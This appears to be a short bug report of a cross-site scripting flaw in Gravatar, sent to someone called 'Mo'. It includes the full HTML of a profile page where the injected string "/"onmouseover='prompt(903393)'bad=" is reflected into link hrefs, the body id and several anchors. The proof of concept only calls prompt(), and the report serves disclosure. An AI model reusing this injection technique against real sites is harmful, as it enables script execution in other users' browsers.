XSS wordpress

Ehy Mo, thanks for the fast respone, this is the  HTML code for the xss in gravatar!


<!doctype html>
<html xmlns="http://www.w3.org/1999/xhtml"

xmlns:fb="http://www.facebook.com/2008/fbml">
<head>
            <title>jcarousel - Profilo

Gravatar</title>
        <link rel="shortcut icon" href="/favicon.ico" />
    <link rel="shortcut icon"

href="/favicon.ico" />
    <meta http-equiv="Content-type" content="text/html; charset=utf-8" />


<meta http-equiv="Content-Language" content="it" />
    <meta name="viewport"

content="width=device-width, initial-scale=1, maximum-scale=1">
    <link

href="http://s.gravatar.com/css/style.css?117" type="text/css" rel="stylesheet" media="screen" />
    <link

href="http://s.gravatar.com/css/profile.css?117" type="text/css" rel="stylesheet" media="screen" />
    <link

href="http://s.gravatar.com/css/jquery.Jcrop.0.9.12.css?117" type="text/css" rel="stylesheet" media="screen" />


<script type="text/javascript" src="http://s.gravatar.com/js/jquery.js?117"></script>
<script

type="text/javascript" src="http://s.gravatar.com/js/jquery.Jcrop.0.9.12.js?117"></script>
<script

type="text/javascript" src="http://s.gravatar.com/js/application.js?117"></script>
<script type="text/javascript"

src="http://s.gravatar.com/js/jcarousel/lib/jquery.jcarousel.pack.js?117"></script>
<link rel="stylesheet"

type="text/css" href="/js/jcarousel/lib/jquery.jcarousel.css" />
<link rel="stylesheet" type="text/css"

href="/js/jcarousel/skins/tango/skin.css" />    <link href="/css/services.css?117" type="text/css"

rel="stylesheet" media="screen" />
    <link rel="profile" href="http://microformats.org/profile/hcard" />


<link rel="alternate" type="text/directory" title="vCard"

href="http://it.gravatar.com/js/jcarousel/skins/tango//onmouseover=&#039;prompt(903393)&#039;bad=.vcf"

/>
    <link rel="alternate" type="text/javascript" title="JSON"

href="http://it.gravatar.com/js/jcarousel/skins/tango//onmouseover=&#039;prompt(903393)

&#039;bad=.json" />
    <link rel="alternate" type="text/xml" title="XML"

href="http://it.gravatar.com/js/jcarousel/skins/tango//onmouseover=&#039;prompt(903393)

&#039;bad=.xml" />
    <link rel="alternate" type="text/php" title="Serialized PHP"

href="http://it.gravatar.com/js/jcarousel/skins/tango//onmouseover=&#039;prompt(903393)

&#039;bad=.php" />
    <link rel="alternate" type="image/png" title="QR Code"

href="http://it.gravatar.com/js/jcarousel/skins/tango//onmouseover=&#039;prompt(903393)&#039;bad=.qr"

/>
    <script type="text/javascript" src="/js/jquery.scrollTo-1.4.2-min.js"></script>
    <script

type="text/javascript" src="/js/jquery.hotkeys-0.7.9.js"></script>
    <link rel="canonical"

href="http://gravatar.com/jcarousel" />
<style type="text/css">
/* Fonts */
@font-face {
  font-family:

'Automatticons';
  src: url('http://s.gravatar.com/fonts/automatticons-regular-webfont.eot');
  src: url

('http://s.gravatar.com/fonts/automatticons-regular-webfont.eot?#iefix') format('embedded-opentype'), url

('http://s.gravatar.com/fonts/automatticons-regular-webfont.woff') format('woff'), url

('http://s.gravatar.com/fonts/automatticons-regular-webfont.ttf') format('truetype'), url

('http://s.gravatar.com/fonts/automatticons-regular-webfont.svg#automatticonsregular') format('svg');


font-weight: normal;
  font-style: normal;
  -webkit-font-smoothing: antialiased;
}
</style>

    <script

type='text/javascript' src='//s1.wp.com/_static/??/wp-includes/js/swfobject.js,/wp-

content/plugins/video/assets/js/videopress.js?m=1340848398j'></script>
    <link

href="//fonts.googleapis.com/css?family=Open+Sans:300italic,400italic,600italic,400,300,600"

rel="stylesheet" type="text/css">

    <script type="text/javascript"

src="/js/webtoolkit.base64.js"></script>
        <!--[if lt IE 7.]>
        <script defer

type="text/javascript" src="/js/pngfix.js"></script>
        <script defer type="text/javascript"

src="/js/old-ie-hacks.js"></script>
    <![endif]-->

    <script type="text/javascript"

src="//use.typekit.com/llx8brg.js"></script>
    <script type="text/javascript">try{Typekit.load();}catch(e)

{}</script>


    <script src="/js/login.js"></script>
    <script type="text/javascript">


$(function() {
        $( '#a8c-service-toggle' ).click( function() {
            var body

= $( 'body' ),
                header = $( '#unified-header' ),


    dops = $( '#a8c-dops' );

            $( this ).parent

().toggleClass( 'active' );
            body.toggleClass( 'dropped' );


header.toggleClass( 'dropped' );
            dops.toggleClass( 'dropped' );
        });



    $("#responsive-menu-button").click(function( a ) {
            a.preventDefault();


        $(".main-nav").toggleClass("dropped");
        })

    });
    </script>

    <link

rel="stylesheet" href="//s0.wordpress.com/i/noticons/noticons.css">

</head>

<body id="pagejs-jcarousel-

skins-tango--&quot;onmouseover=&#039;prompt(903393)&#039;bad=&quot;" >

<div id="wrap"

class="profile">
    <div id="a8c-dops">
        <ul>
            <li

class="wordpresscom">
                <a href="http://wordpress.com">


            <strong>WordPress.com</strong>


<small>Setup a blog in minutes.</small>
                </a>


</li>
            <li class="vaultpress">
                <a

href="http://vaultpress.com">


<strong>VaultPress</strong>
                    <small>Backup and security scanning

for your site.</small>
                </a>
            </li>


    <li class="akismet">
                <a href="http://akismet.com">


                <strong>Akismet</strong>


<small>The anti-spam service for the web.</small>
                </a>


    </li>
            <li class="polldaddy">
                <a

href="http://polldaddy.com">
                    <strong>Polldaddy</strong>


            <small>Create surveys for the web and mobile.</small>


    </a>
            </li>
        </ul>
    </div>

    <div id="unified-header">


    <nav>
            <ul class="main-nav">
                <li>


            <a href="/" id="gr-logo">G</a>
                <a

href="/" id="responsive-menu-button" class="icon">Menu</a>
                </li>


                                <li><a

href="/support/what-is-gravatar/">What is Gravatar?</a></li>


<li><a href="/site/implement/">How to Use Gravatar</a></li>


            <li><a href="/support/">Help</a></li>
            </ul>



    <ul class="user-nav">


<li id="wpcc-sign-in">
                    <span class="wpcom" id="a8c-service-

toggle"><span>WordPress.com</span></span>
                    <a

href="https://en.gravatar.com/connect/" class="button header_sign-in">Sign In</a>


    </li>


    </ul>

        </nav>
    </div>


    <div id="main">
        <div

class="middle">             <div class="box">
                <div id="content"

class="profile">



    <div class="vcard grofile" id="profile">
                <div class="column-right

single">
                    <div id="gallery">


    <style type="text/css">


.gallery-main a {
                                background: url(

'http://1.gravatar.com/avatar/93a642a29fdd068bd132ad3e6b4c694d?size=400px' ) center no-repeat;


                        background-size: 400px;


                    width: 400px;


            height: 400px;


    display: block;
                            }


                    @media


    only screen and (-moz-min-device-pixel-ratio: 1.5),


        only screen and (-o-min-device-pixel-ratio: 3/2),


        only screen and (-webkit-min-device-pixel-ratio: 1.5),


            only screen and (min-device-pixel-ratio: 1.5) {


                .gallery-main a {


            background: url(

'http://1.gravatar.com/avatar/93a642a29fdd068bd132ad3e6b4c694d?size=800' ) center no-repeat;


                            background-size: 400px;


                        }


        }



                #photo-0 {


        background: url( 'http://1.gravatar.com/avatar/93a642a29fdd068bd132ad3e6b4c694d?

size=80px' ) center no-repeat;


background-size: 80px;
                                width:

80px;
                                height: 80px;


                        display: block;


            }
                            @media


                        only screen and (-moz-min-device-pixel-ratio:

1.5),
                            only screen and (-o-min-device-pixel-

ratio: 3/2),
                            only screen and (-webkit-

min-device-pixel-ratio: 1.5),
                            only screen and

(min-device-pixel-ratio: 1.5) {


#photo-0 {


background: url( 'http://1.gravatar.com/avatar/93a642a29fdd068bd132ad3e6b4c694d?size=160' ) center no-

repeat;
                                    background-size:

80px;
                                }


                }



.gallery-main a.photo-0 {


background: url( 'http://1.gravatar.com/avatar/93a642a29fdd068bd132ad3e6b4c694d?size=400px' ) center

no-repeat;
                                background-size:

400px;
                            }


            @media
                            only

screen and (-moz-min-device-pixel-ratio: 1.5),


only screen and (-o-min-device-pixel-ratio: 3/2),


only screen and (-webkit-min-device-pixel-ratio: 1.5),


    only screen and (min-device-pixel-ratio: 1.5) {


        .gallery-main a.photo-0 {


        background: url( 'http://1.gravatar.com/avatar/93a642a29fdd068bd132ad3e6b4c694d?

size=800' ) center no-repeat;


background-size: 400px;
                                }


                        }



                        </style>



        <div class="gallery-main">
                        <a

href="http://1.gravatar.com/avatar/93a642a29fdd068bd132ad3e6b4c694d" class="photo-0">

                    &nbsp;


</a>                        </div>




                        <p class="clear"></p>


            </div>



    </div>


                <div class="column-left">


    <div class="profile-description">
                        <h2

class="fn"><a href="http://gravatar.com/jcarousel">jcarousel</a></h2>




                <p id="bio" class="description">


                Live in the desert, write in the dark.<br />
Mix chems, get paid.<br />
Live loud.<br />
Like you.                            </p>


                            </div>






                    <div id="profile-misc">


        <ul class="dev-endpoints">


<li><a href="http://it.gravatar.com/js/jcarousel/skins/tango//"onmouseover='prompt

(903393)'bad=">.json">JSON</a></li>
                            <li><a

href="http://it.gravatar.com/js/jcarousel/skins/tango//"onmouseover='prompt

(903393)'bad=">.xml">XML</a></li>
                            <li><a

href="http://it.gravatar.com/js/jcarousel/skins/tango//"onmouseover='prompt

(903393)'bad=">.php">PHP</a></li>
                            <li><a

href="http://it.gravatar.com/js/jcarousel/skins/tango//"onmouseover='prompt

(903393)'bad=">.vcf">VCF</a></li>
                            <li><a

href="http://it.gravatar.com/js/jcarousel/skins/tango//"onmouseover='prompt

(903393)'bad=">.qr">QR</a></li>
                        </ul>


            </div>






        <div id="signup-prompt" class="signup-prompt">


        <div class="signup-prompt-inner">


        <p>Gravatar allows you to manage all of your online identities in one place on the

web.</p>
                                <div class="signup-prompt-

box">
                                    <p><a

href="/site/signup" class="signup button">Sign Up</a></p><p>Already have an account? <a

href="site/login">Log In</a>.</p>


</div>
                            </div>


        </div>


</div>
            </div>

            <script type="text/javascript">


        var kkeys = [], kk = "38,38,40,40,37,39,37,39,66,65";


$(document).keydown(function(e) {
                    kkeys.push( e.keyCode );


                if ( kkeys.toString().indexOf( kk ) >= 0 ) {


            $(document).unbind('keydown',arguments.callee);


            $.getScript('/js/fall.php?hash=93a642a29fdd068bd132ad3e6b4c694d',function

(){});
                    }
                });


                // Stop automatic window-closing on return to profiles


    window.opener = null;
            </script>
            <script

type="text/javascript">

                $(document).bind( 'ready', function() {


            $required = $( '#report-abuse-form textarea, #report-abuse-form select' );


                // report abuse



$required.blur( function(){
                        if ( '' == $.trim( $(this).val() )

)
                             $(this).addClass( 'abuse-form-required'

);
                        else


        $(this).removeClass( 'abuse-form-required' );


});

                    $( '#report-abuse' ).click(function(e){


            e.preventDefault();
                        $(

'#report-abuse-container').hide().slideDown( 'fast' );
                    });



                $( '#report-abuse-form' ).submit(function(e) {


            e.preventDefault();


$required.each( function(){
                            if ( '' == $.trim(

$(this).val() ) )


$(this).removeClass( 'abuse-form-required' ).addClass( 'abuse-form-required' );


            else


$(this).removeClass( 'abuse-form-required' );
                        });



                    if  ( $('.abuse-form-required').length > 0 )


                    return false;



    var data = { url: document.location.href, reported_user: 'jcarousel', reason: $( '#report-abuse-reason'

).val(), details: $( '#report-abuse-details' ).val() };
                        $.post(

'/site/submit_abuse', data );
                        $(this).parent().slideUp

().remove();
                        $( '#report-abuse' ).replaceWith( "<div

id='report-abuse-submitted'>Report submitted. Thanks!</div>" );


    return false;

                    });


    $('#report-abuse-cancel').click(function(e){


e.preventDefault();
                        $( '#report-abuse-container').hide();


                });
                });



  (function() {
                var po = document.createElement('script'); po.type =

'text/javascript'; po.async = true;
                po.src = 'https://apis.google.com/js/plusone.js';


            var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(po,

s);
              })();
            </script>

            <style

type="text/css">
            .follow {
                padding-top: 7px;


    }
            .profile-formats {
                font-size: 80%;


        }
            </style>



            </div>
                <span class="clear"></span>


    </div>
            <span class="clear"></span>
        </div>
        <span

class="clear"></span>
    </div>

    <div id="footer">
        <div class="footer-inner">


    <div class="primary">
                <ul id="vp-primary-footer">


            <li><a href="http://blog.gravatar.com/">Blog</a></li>


        <li><a href="/site/implement/">Risorse per gli sviluppatori</a></li>


        <li><a href="/support/">Technical Support</a></li>


</ul>

                <div id="a8c-attribution">


<span>An <a href="http://automattic.com/">Automattic</a> Team</span>


</div>
            </div>

            <div

class="secondary">
                <ul id="vp-secondary-footer">


        <li><a href="/site/translations/">Lingue</a></li>


<li><a href="http://automattic.com/privacy/">Tutela della privacy</a></li>


</ul>

                <ul id="a8c-services">


                <li><a href="http://wordpress.com">WordPress.com</a></li>


                <li><a href="http://vaultpress.com">VaultPress</a></li>


            <li><a href="http://akismet.com">Akismet</a></li>


        <li><a href="http://polldaddy.com">Polldaddy</a></li>


</ul>
            </div>
        </div>
    </div>

    <span class="clear"></span>
</div><!--/ #wrap -->
 <div id="overlay" style="display: none;"></div>
  <div style="display: none;"

id="gravatar_confirmation_container">
     <div id="gravatar_confirmation">
        &nbsp;


</div>
 </div>
  <script type="text/javascript">
   var gaJsHost = (("https:" == document.location.protocol) ?

"https://ssl." : "http://www.");
   document.write(unescape("%3Cscript src='" + gaJsHost + "google-

analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));
 </script>
 <script type="text/javascript">


var pageTracker = _gat._getTracker("UA-52447-14");
   pageTracker._initData();
   pageTracker._trackPageview

();
</script>
</body>
</html>